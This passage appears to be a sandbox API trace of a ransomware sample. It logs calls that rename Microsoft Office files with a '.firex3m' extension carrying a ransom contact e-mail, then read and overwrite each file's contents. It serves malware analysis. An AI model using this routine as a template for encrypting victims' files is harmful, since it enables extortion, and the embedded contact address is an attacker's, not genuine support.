ftLastWriteTime.dwLowDateTime=0x14589889, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4df89, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0172.250] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0172.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\powerviewres.id.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0172.250] GetProcessHeap () returned 0x630000 [0172.250] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x706cf78 [0172.250] GetProcessHeap () returned 0x630000 [0172.250] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0172.250] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.250] ReadFile (in: hFile=0x67c, lpBuffer=0x706cf78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.666] GetProcessHeap () returned 0x630000 [0180.666] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0180.666] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.666] WriteFile (in: hFile=0x67c, lpBuffer=0x731cfd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.667] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.667] WriteFile (in: hFile=0x67c, lpBuffer=0x73283d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73283d7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.836] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.836] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.836] CloseHandle (hObject=0x67c) returned 1 [0182.836] GetProcessHeap () returned 0x630000 [0182.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0182.836] GetProcessHeap () returned 0x630000 [0182.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0182.836] GetProcessHeap () returned 0x630000 [0182.836] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0182.836] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32ee1e53, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4dfad, dwReserved0=0xbb87496, dwReserved1=0x706cf70, cFileName="PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f00 [0182.837] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0182.837] Sleep (dwMilliseconds=0x1) [0184.858] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC", len=0x44 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC") returned 1 [0184.858] GetProcessHeap () returned 0x630000 [0184.858] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a1c) returned 0x707d3d0 [0184.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.859] CloseHandle (hObject=0x6c0) returned 1 [0184.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.860] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK6E23~1.FIR")) returned 0x6d4ec0 [0184.860] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0184.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.861] GetProcessHeap () returned 0x630000 [0184.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6dbdf0 [0184.861] GetProcessHeap () returned 0x630000 [0184.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6dc340 [0184.861] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.861] ReadFile (in: hFile=0x6c0, lpBuffer=0x6dbdf0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dbdf0*, lpNumberOfBytesRead=0x497ff0c*=0x260, lpOverlapped=0x0) returned 1 [0184.864] GetProcessHeap () returned 0x630000 [0184.864] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0184.864] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.865] WriteFile (in: hFile=0x6c0, lpBuffer=0x6dc340*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc340*, lpNumberOfBytesWritten=0x497ff0c*=0x260, lpOverlapped=0x0) returned 1 [0184.865] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.865] WriteFile (in: hFile=0x6c0, lpBuffer=0x6dc59f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc59f*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.865] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.865] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.865] CloseHandle (hObject=0x6c0) returned 1 [0184.865] GetProcessHeap () returned 0x630000 [0184.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc340 | out: hHeap=0x630000) returned 1 [0184.865] GetProcessHeap () returned 0x630000 [0184.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbdf0 | out: hHeap=0x630000) returned 1 [0184.865] GetProcessHeap () returned 0x630000 [0184.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0184.865] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x34227671, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x497fd20, dwReserved1=0x6dbdf0, cFileName="SKYPEFB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK6E23~1.FIR")) returned 0x6d4f40 [0184.866] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0184.866] Sleep (dwMilliseconds=0x1) [0184.870] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK", len=0x4c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK") returned 1 [0184.870] GetProcessHeap () returned 0x630000 [0184.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a18) returned 0x707d3d0 [0184.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.871] CloseHandle (hObject=0x6c0) returned 1 [0184.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x6d, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKC77F~1.FIR")) returned 0x6d5440 [0184.872] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0184.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.872] GetProcessHeap () returned 0x630000 [0184.872] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4aa8 [0184.872] GetProcessHeap () returned 0x630000 [0184.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4bc8 [0184.873] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.873] ReadFile (in: hFile=0x6c0, lpBuffer=0x6a4aa8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4aa8*, lpNumberOfBytesRead=0x497ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.874] GetProcessHeap () returned 0x630000 [0184.874] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0184.874] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.874] WriteFile (in: hFile=0x6c0, lpBuffer=0x6a4bc8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4bc8*, lpNumberOfBytesWritten=0x497ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.874] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.874] WriteFile (in: hFile=0x6c0, lpBuffer=0x6a4c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4c27*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.874] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.874] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.874] CloseHandle (hObject=0x6c0) returned 1 [0184.875] GetProcessHeap () returned 0x630000 [0184.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4bc8 | out: hHeap=0x630000) returned 1 [0184.875] GetProcessHeap () returned 0x630000 [0184.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4aa8 | out: hHeap=0x630000) returned 1 [0184.875] GetProcessHeap () returned 0x630000 [0184.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0184.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3424d627, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x497fd20, dwReserved1=0x6a4aa8, cFileName="SKYPEFB_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKC77F~1.FIR")) returned 0x6d4e00 [0184.875] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0184.875] Sleep (dwMilliseconds=0x1) [0184.886] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK", len=0x4c | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK") returned 1 [0184.886] GetProcessHeap () returned 0x630000 [0184.886] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a14) returned 0x707d3d0 [0184.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.887] CloseHandle (hObject=0x6c0) returned 1 [0184.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.888] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x6d, dwReserved1=0x0, cFileName="SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK0A77~1.FIR")) returned 0x6d5000 [0184.888] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0184.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.889] GetProcessHeap () returned 0x630000 [0184.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4a18 [0184.889] GetProcessHeap () returned 0x630000 [0184.889] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a47d8 [0184.889] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.889] ReadFile (in: hFile=0x6c0, lpBuffer=0x6a4a18, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4a18*, lpNumberOfBytesRead=0x497ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.890] GetProcessHeap () returned 0x630000 [0184.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0184.890] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.890] WriteFile (in: hFile=0x6c0, lpBuffer=0x6a47d8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a47d8*, lpNumberOfBytesWritten=0x497ff0c*=0x60, lpOverlapped=0x0) returned 1 [0184.890] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.890] WriteFile (in: hFile=0x6c0, lpBuffer=0x6a4837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4837*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0184.891] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.891] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0184.891] CloseHandle (hObject=0x6c0) returned 1 [0184.891] GetProcessHeap () returned 0x630000 [0184.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a47d8 | out: hHeap=0x630000) returned 1 [0184.891] GetProcessHeap () returned 0x630000 [0184.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4a18 | out: hHeap=0x630000) returned 1 [0184.891] GetProcessHeap () returned 0x630000 [0184.891] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0184.891] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x34273957, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x497fd20, dwReserved1=0x6a4a18, cFileName="SKYPEFB_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SK0A77~1.FIR")) returned 0x6d53c0 [0184.891] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0184.891] Sleep (dwMilliseconds=0x1) [0184.901] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT", len=0x4a | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT") returned 1 [0184.901] GetProcessHeap () returned 0x630000 [0184.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a10) returned 0x707d3d0 [0184.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0184.902] CloseHandle (hObject=0x6c0) returned 1 [0184.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, 